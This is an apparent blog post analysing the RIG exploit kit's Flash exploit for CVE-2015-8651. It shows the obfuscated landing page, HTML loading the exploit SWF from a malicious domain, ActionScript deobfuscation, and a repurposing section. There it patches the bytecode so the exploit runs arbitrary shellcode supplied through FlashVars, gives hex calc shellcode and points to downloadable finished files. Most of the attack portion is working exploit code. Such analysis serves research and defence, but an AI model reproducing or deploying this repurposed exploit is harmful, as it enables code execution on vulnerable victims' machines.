Hellooo again and welcome to another Malware post. As the first post was received quite well and I got a lot of encouraging feedback, I've decided to release another one. This time we'll be looking at RIG EK's CVE-2015-8651. As most of you have probably realised, this post is much shorter than Spartan EK's; in fact this will be way easier. If you're not familiar with my previous post, I suggest starting from this one and then move onto Spartan EK's if you're up for a much tougher challenge.
The Fiddler file can be found here.
The following are the setup, tools and files we'll be using throughout this post:
The Fiddler file contains the following relevant request/response pairs:
Let's start with the easier of the scripting languages. After beautifying it, the page still looks messy and it's difficult to work out what it's up to:
Running the flash file on its own we get the following error:
The goal here is to repurpose the exploit to say, pop calc. Ideally we would like the Flash exploit to read the shellcode from the landing page to keep things simple when we want to change the payload. Modifying the Flash file each time is a hassle.
Starting from the landing page, the following contains the calc shellcode:
VM Setup
- Windows 7 64-bit
- Internet Explorer 11
- JPEXS - Best Flash Decompiler (imo)
- Flash Player 20.0.0.228 AX Debug - The ActiveX Debug flavour of Flash. This is the latest vulnerable version
- Flash Player 20.0.0.228 AX - Do not install this for the time being.
- Honeybadger - Javascript deobfuscator. Online version can be found here.
The Fiddler File
- HTML page (2) - the landing page a victim has to browse to for infection
- SWF file (3) - contains the exploit (sent twice for some unknown reason)
- Payload (5) - the payload.
The Landing Page
<html> <body> <script> piudsa = 'mdZnaDt'; kgjklfdg = true; window.liney = bcyt = kgjklfdg; </script> <script> if /*sidgfdfdfkdfl*/ (( /*sidgfdfdfkdfl*/ liney /*sidgfdfdfkdfl*/ )) /*xY2YtOTZiOC00NDQ*/ { function k() { var a = l(), c = document, b = c["createElement"]( /*xY2YtOTZiOC00NDQ*/ "scr" + "ipt" /*xY2YtOTZiOC00NDQ*/ ); b["type"] = "text/javas" + /*a*/ "cript", b.text = a, a = document /*iOC00ND*/ ["getElementsByTagName"]("script")[0], a[ /*xY2YtOTZiOC00NDQ*/ "parentN" + /*xY2YtOTZiOC00NDQ*/ "ode"]["insertBefore"](b, a) } try { k() } catch (m) {} ... for (x = 0; x < L; x++) { c = e[ /*as*/ s.charAt(x)]; b = (b << 3 * 2) + c; /*xY2YtOTZiOC00NDQ*/ l += 6; bx = (L - 2); while (l >= 4 + 2 * 2) { ((a = (b >>> (l -= /*xY2YtOTZiOC00NDQ*/ 10 - 2)) & 255) || (x < bx)) && (r += as(a)); } } return r; } } </script> </body > </html>As mentioned earlier, Javascript is easier to deal with due to the numerous automated tools available for deobfuscation. Analyse the contents with Honeybadger and beautify the contents of DOM changes - object (1):
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowscriptaccess="always" height="1" width="1"> <param name="movie" value="http://fg.cannabissmokersofamerica.com/index.php?wX6OcbifLBrLA4o=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7cbBE-dp313zzbRFecp1kRfXvzJUmeMZA15DsF4UlK_NBKqKp0N6RgBnEB_CbJQlqw-BF3H6PXl5gv2pHn4oieWX_PVynJImmA"> <param name="play" value="true"> <param name="FlashVars" value="iddqd=N3NNXQXiWPWNWeXiXiW3NNYMXhXhXdNOOXOXYQYiOYYeY3YYYYY3YfYLXeXeYPYXYNYgXfXeYXYQY3YPYgXfYLYeY3OYYeYXYPOXYLYYYhYgXMOYXdYMXdNXXiPMNQWXYeYfYLYQWWWfXfWWW3NhYXNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWfWPWgPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeYPPhXgNfWNPQPXWXXdX3XMXQYgWYNdPePOWQPeWXXOP3YQPOPdPQP3YWXLPOW3YhWeYMYXWfPXWXX3YNYLNdXQWMYOPgYYWMN3YeYPP3NLYWY3WMPLYiYMPdNiYeYfWfWgOPYhXdNeN3NeXOXOYfPfWQYgYeXdN3YNPfYQPMXQXOWOPgYPYgWPPOW3N3NgWhXeWQNhPgYWWNPXWYWfWNX3WNXdNdWYNQPfYiWfYYWgWfPXWeYfWOP3YWX3XiOPYQWgWePhNQPdPMYWNgYiXQNfXdWMYYNhYXYLYgPiPMPXPdWYNfYPNgNhXfNeYWWPOQYhYQYiXeYhYQNPNfNQNgNgMdMdMdLLLLLLLL"> <!--[if !IE]>--> <object type="application/x-shockwave-flash" data="http://fg.cannabissmokersofamerica.com/index.php?wX6OcbifLBrLA4o=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7cbBE-dp313zzbRFecp1kRfXvzJUmeMZA15DsF4UlK_NBKqKp0N6RgBnEB_CbJQlqw-BF3H6PXl5gv2pHn4oieWX_PF0lZMmmA" allowscriptaccess="always" height="1" width="1"> <param name="movie" value="http://fg.cannabissmokersofamerica.com/index.php?wX6OcbifLBrLA4o=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7cbBE-dp313zzbRFecp1kRfXvzJUmeMZA15DsF4UlK_NBKqKp0N6RgBnEB_CbJQlqw-BF3H6PXl5gv2pHn4oieWX_PNxl9o"> <param name="play" value="true"> <param name="FlashVars" value="iddqd=N3NNXQXiWPWNWeXiXiW3NNYMXhXhXdNOOXOXYQYiOYYeY3YYYYY3YfYLXeXeYPYXYNYgXfXeYXYQY3YPYgXfYLYeY3OYYeYXYPOXYLYYYhYgXMOYXdYMXdNXXiPMNQWXYeYfYLYQWWWfXfWWW3NhYXNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWfWPWgPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeYPPhXgNfWNPQPXWXXdX3XMXQYgWYNdPePOWQPeWXXOP3YQPOPdPQP3YWXLPOW3YhWeYMYXWfPXWXX3YNYLNdXQWMYOPgYYWMN3YeYPP3NLYWY3WMPLYiYMPdNiYeYfWfWgOPYhXdNeN3NeXOXOYfPfWQYgYeXdN3YNPfYQPMXQXOWOPgYPYgWPPOW3N3NgWhXeWQNhPgYWWNPXWYWfWNX3WNXdNdWYNQPfYiWfYYWgWfPXWeYfWOP3YWX3XiOPYQWgWePhNQPdPMYWNgYiXQNfXdWMYYNhYXYLYgPiPMPXPdWYNfYPNgNhXfNeYWWPOQYhYQYiXeYhYQNPNfNQNgNgMdMdMdLLLLLLLL"> <!--<![endif]--> <!--[if !IE]>--> </object> <!--<![endif]--> </object>It makes much more sense now. The html page downloads a Flash file from the fg.cannabissmokersofamerica.com domain, passes it the long string enclosed in FlashVars tags, and loads in on the page. Notice that the URL matches with the ones in the Fiddler file so let's move onto the Flash file.
The Flash File
TypeError: Error #1009: Cannot access a property or method of a null object reference. at NightCrow/dgjgfdfg() at NightCrow/fgghjds() at NightCrow/init() at NightCrow()This happens as the it tries to access a parameter which is null at the time; for now we can only speculate that it's the same parameter we're encountered on the landing page. Let's forget about it for the time being and disect the rest. Load the file into JPEXS. Execution starts at class NightCrow and the constructor calls this.init():
private function init(param1:Event = null) : void { removeEventListener(CloudPost.read_data(-1820302799),this.init); var _loc3_:Object = null; if(stage && stage.loaderInfo && stage.loaderInfo.parameters) { _loc3_ = stage.loaderInfo.parameters; } if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters) { _loc3_ = root.loaderInfo.parameters; } if(_loc3_ == null && loaderInfo && loaderInfo.parameters) { _loc3_ = loaderInfo.parameters; } var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String; this.asdfsdg = fgghjds(_loc4_); var _loc2_:String = §_a_-_---§.§_a_--_--§(-1820302798) + this.asdfsdg as String; try { this.run(_loc2_); return; } catch(error:Error) { return; } }The obfuscation hits us straight in the face so let's start injecting trace bytecode to clear the fog. For example, to resolve CloudPost.read_data(-1820302799) we change the bytecode from:
code getlocal_0 pushscope findpropstrict Qname(PackageNamespace(""),"removeEventListener") getlex Qname(PackageNamespace(""),"CloudPost") pushint -1820302799 callproperty Qname(PackageNamespace(""),"read_data") 1 getlocal_0 getproperty Qname(PrivateNamespace("NightCrow"),"init") callpropvoid Qname(PackageNamespace(""),"removeEventListener") 2 pushnull ...to:
code getlocal_0 pushscope findpropstrict Qname(PackageNamespace(""),"trace") getlex Qname(PackageNamespace(""),"CloudPost") pushint -1820302799 callproperty Qname(PackageNamespace(""),"read_data") 1 callpropvoid Qname(PackageNamespace(""),"trace") 1 findpropstrict Qname(PackageNamespace(""),"removeEventListener") getlex Qname(PackageNamespace(""),"CloudPost") pushint -1820302799 callproperty Qname(PackageNamespace(""),"read_data") 1 getlocal_0 getproperty Qname(PrivateNamespace("NightCrow"),"init") callpropvoid Qname(PackageNamespace(""),"removeEventListener") 2 pushnull ...The lines added are 5 to 9. For verification, the ActionScript (AS3) source should look like this now:
private function init(param1:Event = null) : void { trace(CloudPost.read_data(-1820302799)); removeEventListener(CloudPost.read_data(-1820302799),this.init); var _loc3_:Object = null; ...Running the Flash file again, we get the following in flashlog.txt:
addedToStage TypeError: Error #1009: Cannot access a property or method of a null object reference. at NightCrow/dgjgfdfg() at NightCrow/fgghjds() at NightCrow/init() at NightCrow()On line 1 we can see that CloudPost.read_data(-1820302799) translates to addedStage. By repeating the technique we can decipher the entire init() function:
private function init(param1:Event = null) : void { // CloudPost.read_data(-1820302799) => addedToStage removeEventListener(CloudPost.read_data(-1820302799),this.init); var _loc3_:Object = null; if(stage && stage.loaderInfo && stage.loaderInfo.parameters) { _loc3_ = stage.loaderInfo.parameters; } if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters) { _loc3_ = root.loaderInfo.parameters; } if(_loc3_ == null && loaderInfo && loaderInfo.parameters) { _loc3_ = loaderInfo.parameters; } //§_a_-_---§.§_a_--_--§(-1820302797) => iddqd //_loc4_ => string from landing page var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String; //this.asdfsdg => 28226f6e54525a6e6e ... f7e6a7d7f242b2f2c2c19191900000000 this.asdfsdg = fgghjds(_loc4_); //§_a_-_---§.§_a_--_--§(-1820302798) => 60eb1158b9d1040000498034081985 ... 119191919419ad913dadae6e6e6e6 var _loc2_:String = §_a_-_---§.§_a_--_--§(-1820302798) + this.asdfsdg as String; try { //_loc2_ => concat of the 2 strings this.run(_loc2_); return; } catch(error:Error) { return; } }At this point we still don't know what this string in _loc2_ is. We might be in luck and it's shellcode. If that's the case we can stop at this point and start repurposing it. Inject trace bytecode for _loc2_ and run the SWF file through the landing page so we get access to the FlashVars. The flashlog.txt file now contains the contents of _loc2_. Copy pasting it in Immunity Debugger we get the following: Still looking promising! The bytes in _loc2_ translate to valid instructions and also start with a PUSHAD which saves the state of all registers. The next step is to change the _loc2_ string to 0xCC's, which is a software interrupt. If it is indeed shellcode, the debugger should halt when it lands on the bytes. Change the AS3 bytecode of the init() function to the following:
code getlocal_0 pushscope findpropstrict Qname(PackageNamespace(""),"removeEventListener") getlex Qname(PackageNamespace(""),"CloudPost") pushint -1820302799 callproperty Qname(PackageNamespace(""),"read_data") 1 getlocal_0 getproperty Qname(PrivateNamespace("NightCrow"),"init") callpropvoid Qname(PackageNamespace(""),"removeEventListener") 2 pushstring "ccccccccccccccccccccccccccccccccccccc" setlocal_2 ofs0017:getlocal_0 getlocal_2 callpropvoid Qname(PrivateNamespace("NightCrow"),"run") 1 returnvoid ofs001e:jump ofs0032 ofs0022:getlocal_0 pushscope newcatch 0 dup setlocal 6 dup pushscope swap setslot 1 popscope kill 6 returnvoid ofs0032:returnvoidThe AS3 version looks like this:
private function init(param1:Event = null) : void { removeEventListener(CloudPost.read_data(-1820302799),this.init); var _loc2_:String = "ccccccccccccccccccccccccccccccccccccc"; try { this.run(_loc2_); return; } catch(error:Error) { return; } }Trying it out andddd .. nothing .. not even a crash! That's quite strange. Maybe the exploit doesn't work at all? The version is wrong? Maybe it doesn't work on the Debug version of Flash? Let's verify the last question and install the non-debug version of Flash ActiveX. Attach IDA to IEXPLORER.exe and load the landing page in Internet Explorer anddddd: Awesome!! We can stop the analysis at this point and move onto the repurposing section.
Repurposing the Exploit
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowscriptaccess="always" height="1" width="1"> <param name="movie" value="RIG_CVE-2015-8651_2016-04-07.swf"> <param name="play" value="true"> <param name="FlashVars" value="iddqd=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090"> <!--[if !IE]>--> <object type="application/x-shockwave-flash" data="RIG_CVE-2015-8651_2016-04-07.swf" allowscriptaccess="always" height="1" width="1"> <param name="movie" value="RIG_CVE-2015-8651_2016-04-07.swf"> <param name="play" value="true"> <param name="FlashVars" value="iddqd=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090"> <!--<![endif]--> <!--[if !IE]>--> </object> <!--<![endif]--> </object>For the Flash file it's best to do away with the one we were working on and use an unmodified version. Recall that the original version looks like this:
private function init(param1:Event = null) : void { removeEventListener(CloudPost.read_data(-1820302799),this.init); var _loc3_:Object = null; if(stage && stage.loaderInfo && stage.loaderInfo.parameters) { _loc3_ = stage.loaderInfo.parameters; } if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters) { _loc3_ = root.loaderInfo.parameters; } if(_loc3_ == null && loaderInfo && loaderInfo.parameters) { _loc3_ = loaderInfo.parameters; } var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String; this.asdfsdg = fgghjds(_loc4_); var _loc2_:String = §_a_-_---§.§_a_--_--§(-1820302798) + this.asdfsdg as String; try { this.run(_loc2_); return; } catch(error:Error) { return; } }All we need to do is get rid of lines 18 and 19, and pass _loc4_ directly to this.run() on line 22. In AS3 bytecode this would translate to converting the following:
astypelate coerce_s setlocal 4 getlocal_0 findpropstrict Qname(PrivateNamespace("NightCrow"),"fgghjds") getlocal 4 callproperty Qname(PrivateNamespace("NightCrow"),"fgghjds") 1 setproperty Qname(PrivateNamespace("NightCrow"),"asdfsdg") getlex Qname(PackageNamespace("","1"),"_a_-_---") pushint -1820302798 callproperty Qname(PackageNamespace("","2"),"_a_--_--") 1 coerce_s getlocal_0 getproperty Qname(PrivateNamespace("NightCrow"),"asdfsdg") add getlex Qname(PackageNamespace(""),"String") astypelate coerce_s setlocal_2 ofs00be:getlocal_0 getlocal_2 callpropvoid Qname(PrivateNamespace("NightCrow"),"run") 1 returnvoid ofs00c5:jump ofs00d9 ofs00c9:getlocal_0 pushscope newcatch 0to this:
astypelate coerce_s setlocal 4 getlocal_0 findpropstrict Qname(PrivateNamespace("NightCrow"),"fgghjds") ofs00a6:getlocal_0 getlocal 4 callpropvoid Qname(PrivateNamespace("NightCrow"),"run") 1 returnvoid ofs00ae:jump ofs00c2 ofs00b2:getlocal_0 pushscope newcatch 0The final, modified version of the init() function should now look like the following:
private function init(param1:Event = null) : void { removeEventListener(CloudPost.read_data(-1820302799),this.init); var _loc3_:Object = null; if(stage && stage.loaderInfo && stage.loaderInfo.parameters) { _loc3_ = stage.loaderInfo.parameters; } if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters) { _loc3_ = root.loaderInfo.parameters; } if(_loc3_ == null && loaderInfo && loaderInfo.parameters) { _loc3_ = loaderInfo.parameters; } var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String; try { this.run(_loc4_); return; } catch(error:Error) { return; } }Running the exploit from the landing page in IE 11 through Flash Player 20.0.0.228 AX on Windows 7 SP1 64-bit we get: The final versions of the files can be downloaded here.